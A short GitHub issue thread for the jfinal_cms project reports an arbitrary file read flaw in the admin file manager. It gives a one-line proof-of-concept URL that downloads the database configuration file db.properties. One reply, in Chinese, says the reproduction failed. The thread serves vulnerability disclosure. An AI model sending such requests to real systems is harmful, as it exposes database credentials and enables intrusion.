jflyfox/jfinal_cms

File reading

e0mlja opened this issue · 2 comments

e0mlja commented

You can read any file in the web directory, including the database configuration file And all files in the root directory
poc:http://ip/admin/filemanager?mode=download&path=/web-inf/classes/conf/db.properties&config=filemanager.config.js

cowboyarthur commented

包含不出来，{"Error":"The file /WEB-INF/classes/conf/db.properties does not exist.","Properties":{},"Code":"-1"}

ElevenKong commented